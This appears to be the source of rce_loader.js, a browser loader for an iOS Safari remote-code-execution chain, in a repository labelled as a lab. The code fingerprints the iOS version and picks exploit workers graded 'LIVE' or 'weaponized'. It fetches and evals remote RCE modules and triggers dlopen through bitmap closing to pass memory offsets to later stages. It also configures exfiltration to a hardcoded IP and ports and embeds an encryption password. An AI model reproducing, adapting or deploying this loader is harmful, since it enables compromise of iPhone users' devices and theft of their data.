Files
coruna-lab/channel-builder-ds/source/rce_loader.js
T
2026-08-26 06:10:33 +08:00

1173 lines
47 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
var SERVER_LOG = true;
let logStart = new Date().getTime();
let logEntryID = 0;
let __printBudget = 60;
let __printWindowStart = 0;
var offsets = {};
var slide;
var chipset;
var device_model;
function labAssetBase() {
try {
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
} catch (e0) {}
try {
var origin = (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
? String(location.origin).replace(/\/$/, '') : '';
var path = '/next-chain';
try {
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.deliveryPath)
path = String(window.NEWS2_CONFIG.deliveryPath);
} catch (e1) {}
if (path.charAt(0) !== '/') path = '/' + path;
return origin + path.replace(/\/+$/, '');
} catch (e2) {}
return '';
}
function labApiBase() {
try {
var ex = (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
? window.__LAB_EXFIL__
: (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil);
if (ex && ex.host) {
var tls = !!(ex.tls || ex.prefer_https);
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
return origin;
}
} catch (e0) {}
try {
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
return String(location.origin).replace(/\/$/, '');
} catch (e1) {}
return '';
}
var localHost = labAssetBase();
function resolveLabDeviceUUID() {
let du = '';
try {
du = (typeof window !== 'undefined' && window.__LAB_DEVICE_UUID__) || '';
} catch (e0) {}
if (!du) {
try { du = (typeof localStorage !== 'undefined' && localStorage.getItem('lab_device_uuid')) || ''; } catch (e1) {}
}
if (!du) {
try {
const m = (typeof document !== 'undefined' && document.cookie || '').match(/(?:^|; )lab_device_uuid=([^;]*)/);
if (m) du = decodeURIComponent(m[1]);
} catch (e2) {}
}
du = String(du || '').replace(/-/g, '').toUpperCase();
if (du && /^[0-9A-F]{16,64}$/.test(du)) {
try {
if (typeof window !== 'undefined') window.__LAB_DEVICE_UUID__ = du;
} catch (e3) {}
return du;
}
return '';
}
function print(x, reportError = false, dumphex = false) {
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
// Mirror to console so frame.html can notify parent (progress/hold).
try { console.log(out); } catch (eC) {}
try {
const s = String(x);
if (/RCE success|Finished stage2|handoff ok|inside stage1|check_dlopen/i.test(s)) {
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-stage', stage: 'worker', progress: 42, label: s.slice(0, 80) }, '*');
}
} else if (/stage1_failed|InterposeTupleAll wait timeout/i.test(s)) {
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-stage', stage: 'worker', progress: 42, label: 'stage1_fail:' + s.slice(0, 60) }, '*');
}
}
} catch (eP) {}
// Server upload: errors only (progress = pe_stage GETs / console).
const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x));
if (!isErr) return;
if (!SERVER_LOG && !reportError) return;
let obj = {
id: logEntryID++,
text: out,
}
if (dumphex) {
obj.hex = 1
obj.text = x
}
try {
let du = '';
try {
du = resolveLabDeviceUUID();
} catch (e0) {}
if (du) {
obj.deviceUUID = du;
obj.device = du;
}
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
const xhr = new XMLHttpRequest();
xhr.open("GET", labApiBase() + "/api/ds/log?" + req , true);
if (du) {
try { xhr.setRequestHeader('X-Device-UUID', du); } catch (e1) {}
}
xhr.send(null);
} catch (e) {}
}
function redirect()
{
// Safari-side grace ended — PE/exfil may still be running in mediaplaybackd.
// Do NOT mark S6/100% here; only advance to late PE so the bar matches reality.
// 成功/失败均不跳转页面(父页 index 保持不动;iframe 也不进 done.html)。
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({
type: 'ds-stage',
stage: 'pe',
progress: 92,
label: '權限提升 · 後台收尾中'
}, '*');
window.parent.postMessage({
type: 'ds-chain-settle',
progress: 92,
label: 'chain settle (no redirect)'
}, '*');
}
} catch (e) {}
try {
print('redirect(): skip done.html (stay on current page)', false);
} catch (e3) {}
}
function exfilGraceMs() {
// Safari-only hold before done.html redirect. PE/C2 already live in MPD/SB —
// not the c2_agent .done poll (removed). Keep a short settle, not 180s.
return 10000;
}
function sleepMs(ms) {
return new Promise(function (r) { setTimeout(r, ms); });
}
async function waitPeExfilGrace() {
const total = exfilGraceMs();
print('pe exfil grace begin ' + Math.round(total / 1000) + 's (safari redirect settle)');
const step = 5000;
let elapsed = 0;
while (elapsed < total) {
await sleepMs(step);
elapsed += step;
print('pe exfil grace ' + Math.round(elapsed / 1000) + 's / ' + Math.round(total / 1000) + 's');
}
print('pe exfil grace complete');
}
function isStage1RcePath(v) {
// Worker-internal RCE via postMessage(stage1_rce) → main() → _aarw_main.
// iOS 18.5+: dedicated workers (18.5 → rce_worker_18.5.js).
// iOS 18.4: page check_attempt + stage1 handoff into rce_worker_18.4.js.
if (!v || !v.length) return false;
if (v[0] > 18) return true;
if (v[0] === 18 && (v[1] || 0) >= 5) return true;
return false;
}
function isIos186Plus(v) {
return isStage1RcePath(v);
}
function normalizeIosVersion(v) {
if (!v || !v.length) return v;
if (v[0] >= 19 || v[0] >= 26) {
var minor = v[1] || 0;
if (minor >= 7 || v[0] >= 26) return [18, 7].concat(v.slice(2));
if (minor >= 6 || v[0] >= 19) return [18, 6].concat(v.slice(2));
return [18, 5].concat(v.slice(2));
}
return v;
}
function versionParts(v) {
return { maj: v[0], min: v[1] || 0, pat: v[2] || 0 };
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
if (a[i] < b[i]) return -1;
if (a[i] > b[i]) return 1;
}
return 0;
}
function inVerRange(v, lo, hi) {
return cmpVer(v, lo) >= 0 && cmpVer(v, hi) <= 0;
}
function isPatchedVersion(v) {
// DarkSword primary RCE patched on 18.7.3+; full chain closed by 26.3
if (!v || !v.length) return false;
if (v[0] === 18 && v[1] === 7 && (v[2] || 0) >= 3) return true;
if (v[0] === 18 && (v[1] || 0) >= 8) return true;
if (v[0] === 26 && (v[1] || 0) >= 3) return true;
return false;
}
function ghostUsableGrade(v) {
if (!v || !v.length) return 'RESEARCH';
var maj = v[0], min = v[1] || 0, pat = v[2] || 0;
if (maj === 26 && min >= 3) return 'DEAD';
if (maj === 26 && min === 2) return 'DEAD';
if (maj === 26 && min === 0) return 'RESEARCH_HIGH';
if (maj === 26 && min === 1) return 'RESEARCH';
if (maj === 18 && min === 7 && pat >= 3) return 'DEAD';
if (maj >= 19 && maj <= 25) return 'RESEARCH';
return 'RESEARCH';
}
function classifyTarget(v) {
if (!v || !v.length) {
return { chain: 'unknown', delivery_ok: false, ghostwave: false, version_str: 'unknown', reason: 'no iOS version', patched: false };
}
var version_str = v.join('.');
var p = [v[0], v[1] || 0, v[2] || 0];
// Prefer server band plan when frame already fetched /api/ds/chain-targets
try {
if (typeof window !== 'undefined' && window.__LAB_BAND__) {
var b = window.__LAB_BAND__;
if (b.chain) {
return {
chain: b.chain,
delivery_ok: b.delivery_ok !== false,
ghostwave: b.chain === 'ghostwave',
version_str: version_str,
reason: b.next_action || b.notes || b.confidence || '',
patched: b.usable_grade === 'DEAD' || b.cve_tier === 'fully_patched_26_3',
weaponized: !!b.weaponized,
usable_grade: b.usable_grade || '',
open_cves: b.open_cves || [],
cve_tier: b.cve_tier || '',
research_priority: b.research_priority,
warning: b.weaponized ? '' : 'honesty: not weaponized'
};
}
}
} catch (eBand) {}
if (inVerRange(p, [13, 0, 0], [17, 2, 1])) {
return {
chain: 'coruna',
delivery_ok: true,
ghostwave: false,
version_str: version_str,
reason: 'Coruna leaked kit (khanhduytran0/coruna) via /coruna/group.html',
patched: false,
weaponized: true,
usable_grade: 'LIVE'
};
}
if (cmpVer(p, [17, 2, 1]) > 0 && cmpVer(p, [18, 4, 0]) < 0) {
var silk17 = p[0] === 17;
return {
chain: 'silkpath',
delivery_ok: true,
ghostwave: false,
version_str: version_str,
reason: silk17
? 'SilkPath loader OK but 17.x offsets are 0x0 — RCE gated by silkpath_loader'
: 'SilkPath 18.0-18.3 Stage1 + provisional bridged offsets (22E)',
patched: false,
weaponized: !silk17,
usable_grade: silk17 ? 'GATED' : 'PROVISIONAL'
};
}
if (inVerRange(p, [18, 4, 0], [18, 7, 2])) {
return {
chain: 'darksword',
delivery_ok: true,
ghostwave: (p[1] || 0) >= 7,
version_str: version_str,
reason: (p[1] || 0) >= 7 ? 'DarkSword+GhostWave post-exploit hooks' : 'DarkSword 18.4-18.7.2',
patched: false,
weaponized: true,
usable_grade: 'LIVE'
};
}
if (inVerRange(p, [18, 7, 3], [26, 3, 99])) {
var grade = ghostUsableGrade(v);
var fully = (p[0] === 26 && p[1] >= 3);
return {
chain: 'ghostwave',
delivery_ok: true, // research delivery always allowed
ghostwave: true,
version_str: version_str,
reason: fully
? 'iOS 26.3 fully patched (GTIG) — harness telemetry only'
: (grade === 'RESEARCH_HIGH'
? 'GhostWave RESEARCH_HIGH — attempt 26.x worker + calibrate'
: 'GhostWave research — offsets/chain incomplete'),
patched: grade === 'DEAD',
weaponized: false,
usable_grade: grade,
warning: 'Do not treat GhostWave as production-ready'
};
}
if (cmpVer(p, [26, 3, 99]) > 0) {
return {
chain: 'out_of_scope',
delivery_ok: false,
ghostwave: false,
version_str: version_str,
reason: 'above GhostWave 26.3',
patched: true,
usable_grade: 'DEAD'
};
}
return {
chain: 'out_of_scope',
delivery_ok: false,
ghostwave: false,
version_str: version_str,
reason: 'out of scope',
patched: false,
usable_grade: 'DEAD'
};
}
function pickWorkerFile(v) {
var raw = v;
if (!raw || !raw.length) return null;
try {
if (typeof window !== 'undefined' && window.__LAB_RECOMMENDED_WORKER__) {
return String(window.__LAB_RECOMMENDED_WORKER__);
}
} catch (e) {}
if (raw[0] === 26 && (raw[1] || 0) >= 3) return 'rce_worker_26.3.js';
if (raw[0] >= 19 || raw[0] >= 26) return 'rce_worker_26.x.js';
v = normalizeIosVersion(v);
if (v[0] !== 18) return null;
var min = v[1] || 0, pat = v[2] || 0;
if (min === 7 && pat >= 3) return 'rce_worker_26.x.js';
if (min >= 7) return 'rce_worker_18.7.js';
if (min === 6) return 'rce_worker_18.6.js';
// iOS 18.5: dedicated worker (stage1_rce → sbx0, 22F76).
if (min === 5) return 'rce_worker_18.6.js'; // nui verified: 22F76 lives in 18.6 worker
// iOS 18.4.x: page check_attempt → stage1 handoff into 18.4 worker.
if (min === 4) return 'rce_worker_18.4.js';
return null;
}
function safariVersionMajor() {
try {
const m = /Version\/(\d+)/.exec(navigator.userAgent);
return m ? parseInt(m[1], 10) : 0;
} catch (e) { return 0; }
}
function workerFallbackChain(v) {
var primary = pickWorkerFile(v);
if (!primary) return [];
if (!v || !v.length) return [primary];
var min = v[1] || 0;
var pat = v[2] || 0;
// iOS 18.5: dedicated 18.5 worker; fall back to 18.6 then legacy 18.4.
if (v[0] === 18 && min === 5) {
return ['rce_worker_18.6.js', 'rce_worker_18.5.js', 'rce_worker_18.4.js'];
}
// iOS 18.4.x: must stay on 18.4 worker (stage1 handoff consumes page offsets).
if (v[0] === 18 && min === 4) {
return ['rce_worker_18.4.js'];
}
try {
if (typeof window !== 'undefined' && window.__LAB_FALLBACK_WORKERS__ && window.__LAB_FALLBACK_WORKERS__.length) {
var chain = [];
if (primary) chain.push(primary);
for (var i = 0; i < window.__LAB_FALLBACK_WORKERS__.length; i++) {
var w = window.__LAB_FALLBACK_WORKERS__[i];
if (w && chain.indexOf(w) < 0) chain.push(w);
}
if (chain.length) return chain;
}
} catch (eApi) {}
if (!primary) return [];
// iOS 26.3+: dedicated harness (fully patched)
if (v[0] === 26 && (v[1] || 0) >= 3) {
return ['rce_worker_26.3.js', 'rce_worker_26.x.js'];
}
// iOS 18.7+: prioritize 18.7 worker first (proven 2026-06-14: 18.7 S1 ok in 290ms)
if (v[0] >= 19 || (v[0] === 18 && min >= 7)) {
// For 18.7.0-18.7.2, prioritize 18.7 worker first
if (v[0] === 18 && min === 7 && pat <= 2) {
return ['rce_worker_18.7.js', 'rce_worker_26.x.js', 'rce_worker_18.6.js'];
}
// For 18.7.3+, try 26.x first as it might have better coverage
if (v[0] === 18 && min === 7 && pat >= 3) {
return ['rce_worker_26.x.js', 'rce_worker_18.7.js', 'rce_worker_18.6.js'];
}
// For iOS 19+ or Safari 26.0-26.2, try 26.x first
return ['rce_worker_26.x.js', 'rce_worker_18.7.js', 'rce_worker_18.6.js'];
}
// iOS 18.6.x: single worker only (upstream / nuih). No 18.5/18.4 fallback —
// those use different handoff paths and crash-skip would just burn attempts.
if (v[0] === 18 && min === 6) {
return ['rce_worker_18.6.js'];
}
// Default fallback chain (prefer files present in this lab tree)
return [primary, 'rce_worker_18.6.js', 'rce_worker_18.5.js', 'rce_worker_18.4.js'];
}
function pickModuleFile(v) {
var raw = v;
v = normalizeIosVersion(v);
if (!v || !v.length) return 'rce_module.js';
if (raw[0] >= 19 || raw[0] >= 26) return 'rce_module_18.7.js';
if (v[0] === 18 && (v[1] || 0) >= 7) return 'rce_module_18.7.js';
if (v[0] === 18 && (v[1] || 0) === 6) return 'rce_module_18.6.js';
if (v[0] === 18 && (v[1] || 0) === 5) return 'rce_module_18.6.js';
// iOS 18.4.x: classic module + check_attempt handoff.
if (v[0] === 18 && (v[1] || 0) === 4) return 'rce_module.js';
return 'rce_module.js';
}
function moduleForWorker(workerFile) {
if (!workerFile) return pickModuleFile(ios_version);
if (workerFile.indexOf('26.3') >= 0) return ''; // harness — no RCE module
if (workerFile.indexOf('26.x') >= 0 || workerFile.indexOf('18.7') >= 0) return 'rce_module_18.7.js';
if (workerFile.indexOf('18.6') >= 0) return 'rce_module_18.6.js';
if (workerFile.indexOf('18.5') >= 0) return 'rce_module_18.5.js';
if (workerFile.indexOf('18.4') >= 0) return 'rce_module.js';
return 'rce_module.js';
}
function workerMinBytes(candidate) {
if (!candidate) return 5000;
if (candidate.indexOf('26.3') >= 0) return 400;
return candidate.indexOf('18.4') >= 0 ? 1000 : 5000;
}
function parseIosVersion() {
try {
if (typeof window !== 'undefined' && window.__LAB_FORCE_IOS__) {
var forced = String(window.__LAB_FORCE_IOS__).split('.').map(function (p) { return parseInt(p, 10); }).filter(function (n) { return !isNaN(n); });
if (forced.length) return forced;
}
var q = new URLSearchParams(location.search);
var qi = q.get('ios') || q.get('version') || '';
if (qi) {
var fromQ = qi.split('.').map(function (p) { return parseInt(p, 10); }).filter(function (n) { return !isNaN(n); });
if (fromQ.length) return fromQ;
}
} catch (eF) {}
const ua = navigator.userAgent;
let m = /iPhone OS ([0-9_]+)/.exec(ua);
if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); });
m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); });
m = /CPU OS ([0-9_]+)/.exec(ua);
if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); });
m = /Version\/(\d+)\.(\d+)/.exec(ua);
if (m) return [parseInt(m[1], 10), parseInt(m[2], 10)];
return null;
}
function resolveDeliveryHost() {
var h = labAssetBase();
if (h) return h;
try {
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
} catch (e) {}
return labAssetBase();
}
function resolveExfilTarget() {
try {
if (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
return window.__LAB_EXFIL__;
} catch (e) {}
try {
const base = labApiBase();
if (!base) return null;
const xhr = new XMLHttpRequest();
xhr.open('GET', base + '/api/ds/chain-targets', false);
xhr.send(null);
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
const d = JSON.parse(xhr.responseText);
if (d.exfil && d.exfil.host) return d.exfil;
}
} catch (e) {}
try {
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil)
return window.NEWS2_CONFIG.exfil;
} catch (e2) {}
const base = labApiBase();
const h = String(base || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
return { host: h || '127.0.0.1', http_port: 80, https_port: 443, tls: false };
}
function exfilFields() {
const t = resolveExfilTarget();
let deviceUUID = '';
try {
deviceUUID = resolveLabDeviceUUID();
} catch (eDu) { deviceUUID = ''; }
if (!t) {
return {
exfilHost: '192.168.31.130',
exfilHttpPort: 8018,
exfilHttpsPort: 8018,
exfilTls: false,
exfilFallbackHost: '192.168.31.130',
exfilFallbackHttpPort: 8018,
deviceUUID,
};
}
// Prefer explicit GitHub-style IP:4001 from /api/ds/chain-targets
const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw);
if (isIp || t.prefer_https === false || t.tls === false || (t.http_port && Number(t.http_port) === 4001)) {
const ip = isIp ? hostRaw : '192.168.31.130';
return {
exfilHost: ip,
exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001,
exfilHttpsPort: t.https_port != null ? Number(t.https_port) : 4001,
exfilTls: false,
exfilFallbackHost: ip,
exfilFallbackHttpPort: 8018,
statsUrl: t.stats_url_direct || t.stats_url || ('http://' + ip + ':4001/stats'),
deviceUUID,
};
}
if (t.stats_url) {
try {
const u = new URL(t.stats_url);
const port = u.port ? parseInt(u.port, 10) : (u.protocol === 'https:' ? 443 : 80);
return {
exfilHost: u.hostname,
exfilHttpPort: port,
exfilHttpsPort: port,
exfilTls: u.protocol === 'https:',
statsUrl: t.stats_url,
exfilFallbackHost: '192.168.31.130',
exfilFallbackHttpPort: 8018,
deviceUUID,
};
} catch (e) { /* fall through */ }
}
const host = hostRaw;
const tls = t.tls === true || t.prefer_https === true;
return {
exfilHost: host,
exfilHttpPort: t.http_port != null ? t.http_port : (tls ? 443 : 4001),
exfilHttpsPort: t.https_port != null ? t.https_port : (tls ? 443 : 4001),
exfilTls: tls,
exfilFallbackHost: '192.168.31.130',
exfilFallbackHttpPort: 8018,
statsUrl: t.delivery_stats_url || '',
deviceUUID,
};
}
function ensureBody() {
if (document.body) return document.body;
var b = document.createElement('body');
if (document.documentElement) document.documentElement.appendChild(b);
return b;
}
function iosVersionKey(v) {
if (!v) return '';
if (typeof v === 'string') {
if (v.indexOf('.') >= 0) return v.replace(/\./g, ',');
return v;
}
if (v.join) return v.join(',');
return String(v);
}
function validateStage1Handoff() {
if (!device_model) {
print('handoff reject: missing device_model', true);
return false;
}
if (!offsets || typeof offsets !== 'object') {
print('handoff reject: missing offsets object', true);
return false;
}
var keys = Object.keys(offsets);
if (keys.length < 40) {
print('handoff reject: offsets too small (' + keys.length + ' keys)', true);
return false;
}
if (slide == null || slide === undefined) {
print('handoff reject: missing slide', true);
return false;
}
try {
if (typeof slide === 'bigint' && slide === 0n) {
print('handoff reject: zero slide', true);
return false;
}
} catch (e) {}
print('handoff ok: ' + device_model + ' keys=' + keys.length + ' slide=' + (slide && slide.toString ? slide.toString() : slide));
return true;
}
function packOffsetsForTransfer(src) {
var out = {};
if (!src) return out;
try {
for (var k in src) {
if (!Object.prototype.hasOwnProperty.call(src, k)) continue;
var val = src[k];
out[k] = (val != null && val.toString) ? val.toString() : String(val);
}
} catch (e) {}
return out;
}
function postStage1ToWorker(worker, begin, origin, desiredHost) {
var msg = {
type: 'stage1',
begin: begin,
origin: origin,
ios_version: iosVersionKey(ios_version),
device_model: device_model,
chipset: chipset,
slide: (slide != null && slide.toString) ? slide.toString() : '0',
offsets: packOffsetsForTransfer(offsets),
desiredHost: desiredHost,
SERVER_LOG: SERVER_LOG
};
try {
var ex = exfilFields();
for (var ek in ex) { if (Object.prototype.hasOwnProperty.call(ex, ek)) msg[ek] = ex[ek]; }
} catch (e) {}
try { msg._enc_pass = labEncPassword(); } catch (eP) {}
try {
worker.postMessage(msg);
print('stage1 handoff posted (' + (msg.device_model || '?') + ', ' + Object.keys(msg.offsets).length + ' offsets)');
return true;
} catch (e) {
print('stage1 postMessage failed: ' + e, true);
return false;
}
}
function labEncPassword() {
try {
if (typeof globalThis !== 'undefined' && globalThis.__LAB_ENC_PASS__)
return String(globalThis.__LAB_ENC_PASS__);
if (typeof window !== 'undefined' && window.__LAB_ENC_PASS__)
return String(window.__LAB_ENC_PASS__);
} catch (e) {}
return '9898asd147258';
}
function decryptWireText(text){return text;}
function getJS(fname, method = 'GET', tries = 5)
{
try
{
const clean = String(fname).replace(/^\//, '').split('?')[0];
const base = resolveDeliveryHost();
if (!base) { print('getJS: no delivery host'); return; }
// Prefer encrypted staging (opaque on the wire).
// pe_worker/pe_main need server-side UUID bake before encrypt.
const path = fname.startsWith('/') ? fname : '/' + fname;
const sep = path.indexOf('?') >= 0 ? '&' : '?';
for (let attempt = 1; attempt <= tries; attempt++) {
const url = base + path + sep + '_r=' + attempt;
let xhr = new XMLHttpRequest();
xhr.open(method, url, false);
xhr.send(null);
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText && xhr.responseText.length > 0) {
return xhr.responseText;
}
// 404/410 won't appear on retry — fail fast instead of 5× spam.
if (xhr.status === 404 || xhr.status === 410) {
print('getJS HTTP ' + xhr.status + ' for ' + fname + ' (no retry)');
return;
}
if (attempt < tries) {
print('getJS retry ' + attempt + '/' + tries + ' HTTP ' + xhr.status + ' for ' + fname);
}
}
print('getJS HTTP failed for ' + fname);
}
catch (e)
{
print('getJS error: ' + e);
}
}
var __gwDecryptReady = false;
async function ensureGhostWaveDecrypt(){return true;}
async function fetchEncryptedJS(){return null;}
async function resolveWorkerCode(candidate){return getJS(candidate+'?'+Date.now());}
function shouldUseEncryptedStagingSync(){return false;}
const signal = new Uint8Array(8);
const dlopen_worker = `(() => {
self.onmessage = function (e) {
const {
type,
data
} = e.data;
switch (type) {
case 'init':
const canvas = new OffscreenCanvas(1, 1);
globalThis[0] = data;
createImageBitmap(canvas).then(bitmap => {
globalThis[1] = bitmap;
self.postMessage(null);
});
break;
case 'dlopen':
// Close existing bitmap — this triggers a dyld dlopen path through
// ImageIO/CG framework processing on most iOS versions.
try { globalThis[1].close(); } catch(_) {}
// Immediately create a fresh bitmap so the NEXT close() is also
// meaningful. Without this, retrigger_dlopen1 closes an already-
// closed bitmap (no-op) and no dlopen happens on the retry.
try {
var _c2 = new OffscreenCanvas(1, 1);
createImageBitmap(_c2).then(function(_b2) { globalThis[1] = _b2; });
} catch(_e2) {}
break;
}
};
})();`;
const dlopen_worker_blob = new Blob([dlopen_worker], { type: 'application/javascript'});
const dlopen_worker_url = URL.createObjectURL(dlopen_worker_blob);
const ios_version = parseIosVersion();
const chain_target = classifyTarget(ios_version);
const worker_plan = workerFallbackChain(ios_version);
var __exfilBoot = exfilFields();
print('chain_boot: ios=' + (ios_version ? ios_version.join('.') : 'unknown')
+ ' safari=' + safariVersionMajor()
+ ' chain=' + chain_target.chain
+ ' workers=' + (worker_plan.length ? worker_plan.join('>') : 'none')
+ ' host=' + resolveDeliveryHost()
+ ' exfil=' + (__exfilBoot.exfilHost || '?') + ':' + (__exfilBoot.exfilHttpPort || '?')
+ ' tls=' + !!__exfilBoot.exfilTls);
print('ios_version: ' + (ios_version ? ios_version.join('.') : 'unknown'));
print('chain_target: ' + chain_target.chain + ' ok=' + chain_target.delivery_ok + ' ' + chain_target.reason);
async function runWorkerAttempt(workerCode, workerFile) {
var isHarness = workerFile && workerFile.indexOf('26.3') >= 0;
return new Promise((resolve) => {
let settled = false;
function finish(ok) {
if (settled) return;
settled = true;
clearTimeout(watchdog);
resolve(!!ok);
}
var _workerSrc = workerCode;
const workerBlobUrl = URL.createObjectURL(new Blob([_workerSrc], { type: 'text/javascript' }));
const randomValues = new Uint32Array(32);
const begin = Date.now();
const origin = location.origin;
const worker = new Worker(workerBlobUrl);
const dlopen_workers = [];
const iframe = document.createElement('iframe');
iframe.srcdoc = '';
iframe.style.height = '0';
iframe.style.width = '0';
ensureBody().appendChild(iframe);
const watchdog = setTimeout(() => {
print('worker watchdog timeout: ' + workerFile, true);
try { worker.terminate(); } catch (e) {}
finish(false);
}, isHarness ? 20000 : 1200000);
if (isHarness) {
worker.onerror = function (err) {
print('harness onerror: ' + (err && err.message ? err.message : err), true);
try { worker.terminate(); } catch (e) {}
finish(true); // harness errors still count as completed research path
};
worker.onmessage = function (e) {
var data = e.data || {};
if (data.type === 'log') {
print(data.text || '', !!data.error);
return;
}
if (data.type === 'stage') {
print('harness stage ' + (data.stage || '?') + ' ' + (data.status || '') + ' ' + (data.message || data.reason || ''));
return;
}
if (data.type === 'ready') {
worker.postMessage({
name: 'begin',
type: 'begin',
ios: ios_version ? ios_version.join('.') : '26.3',
deviceUUID: resolveLabDeviceUUID(),
model: device_model || '',
build: ''
});
return;
}
if (data.type === 'done') {
print('harness done: ' + (data.message || 'ok'));
try { worker.terminate(); } catch (e) {}
finish(true); // research path completed honestly
}
};
// Kick if ready already fired before handler attached
setTimeout(function () {
try {
worker.postMessage({
name: 'begin',
type: 'begin',
ios: ios_version ? ios_version.join('.') : '26.3',
deviceUUID: resolveLabDeviceUUID()
});
} catch (eK) {}
}, 50);
return;
}
async function prepare_dlopen_workers() {
for (let i = 1; i <= 2; ++i) {
const dw = new Worker(dlopen_worker_url);
dlopen_workers.push(dw);
await new Promise(r => {
dw.postMessage({ type: 'init', data: 0x11111111 * i });
dw.onmessage = r;
});
}
}
async function message_handler(e) {
const data = e.data;
switch (data.type) {
case 'log':
print(data.text || '', !!data.error);
break;
case 'redirect':
await waitPeExfilGrace();
redirect();
finish(true);
break;
case 'stage1_failed':
print('stage1_failed on ' + workerFile + ' (' + (data.reason || '?') + ')', true);
try { worker.terminate(); } catch (e) {}
finish(false);
break;
case 'prepare_dlopen_workers':
await prepare_dlopen_workers();
worker.postMessage({ type: 'dlopen_workers_prepared' });
break;
case 'trigger_dlopen1':
// Start scanner first, then close()-trigger dlopen under +0x10 prehold.
worker.postMessage({ type: 'check_dlopen1' });
await new Promise(r => setTimeout(r, 30));
dlopen_workers[0].postMessage({ type: 'dlopen' });
break;
case 'retrigger_dlopen1':
// Fresh bitmap close while scanner waits — another UlvE under prehold.
try { dlopen_workers[0].postMessage({ type: 'dlopen' }); } catch (_) {}
break;
case 'trigger_dlopen2':
// Same order as dlopen1: start stack scanner FIRST, then trigger
// close()/dlopen. Waiting 250ms then scanning races on fast 18.6.x
// devices — dlopen finishes before check_dlopen2 and the retaddr
// is gone → infinite efficient_search hang.
worker.postMessage({ type: 'check_dlopen2' });
await new Promise(r => setTimeout(r, 30));
dlopen_workers[1].postMessage({ type: 'dlopen' });
break;
case 'sign_pointers':
iframe.contentDocument.write('1');
worker.postMessage({ type: 'setup_fcall' });
break;
case 'slow_fcall':
iframe.contentDocument.write('1');
worker.postMessage({ type: 'slow_fcall_done' });
break;
default:
break;
}
}
worker.onerror = function (err) {
print('worker onerror: ' + workerFile + ' ' + (err && err.message ? err.message : err), true);
try { worker.terminate(); } catch (e) {}
finish(false);
};
worker.onmessage = message_handler;
try {
const mod = moduleForWorker(workerFile);
const useWorkerRce = isIos186Plus(ios_version);
let rceCode = '';
// Original DarkSword / nuih on 18.6.x: page only loads an 85B stub (or nothing).
// RCE is entirely inside rce_worker_18.6 via stage1_rce. Eval'ing the full
// 173KB rce_module_18.6.js on the page races the worker heap → WebContent
// crash right after "success with N unit tries" (never reaches stage1_prim).
if (useWorkerRce) {
print('module skip: stage1_rce self-contained (match upstream 18.6)');
} else if (mod) {
rceCode = getJS(mod + '?' + Date.now()) || '';
if (!rceCode || rceCode.length < 500) {
print('module stub/missing: ' + mod + ' (len=' + ((rceCode && rceCode.length) || 0) + ')');
const fb = getJS('rce_module.js?' + Date.now());
if (fb && fb.length >= 500) {
rceCode = fb;
print('module fallback -> rce_module.js');
} else {
print('module load failed: ' + mod, true);
finish(false);
return;
}
}
}
if (rceCode) {
try { eval(rceCode); } catch (e) {
print('module eval error: ' + mod + ' ' + e, true);
finish(false);
return;
}
}
print('module ready: ' + (useWorkerRce ? '(worker-rce)' : (mod || 'none'))
+ ' len=' + ((rceCode && rceCode.length) || 0)
+ ' check_attempt=' + (typeof check_attempt));
try { globalThis.ios_version_key = iosVersionKey(ios_version); } catch (e) {}
const desiredHost = resolveDeliveryHost();
if (!desiredHost) { print('fatal: no delivery host', true); finish(false); return; }
print('rce_path: ' + (useWorkerRce ? 'stage1_rce(worker)' : 'check_attempt(page)')
+ ' ios=' + (ios_version ? ios_version.join('.') : '?'));
if (useWorkerRce) {
worker.postMessage(Object.assign({
type: 'stage1_rce',
desiredHost,
randomValues,
SERVER_LOG,
_enc_pass: labEncPassword()
}, exfilFields()));
} else {
if (typeof check_attempt !== 'function') {
print('fatal: check_attempt missing after module eval', true);
finish(false);
return;
}
var attempt = new check_attempt();
function onAttemptDone(result) {
if (!result) {
print('check_attempt returned false', true);
finish(false);
return;
}
if (!validateStage1Handoff()) {
finish(false);
return;
}
if (!postStage1ToWorker(worker, begin, origin, desiredHost)) {
finish(false);
}
}
print('check_attempt start');
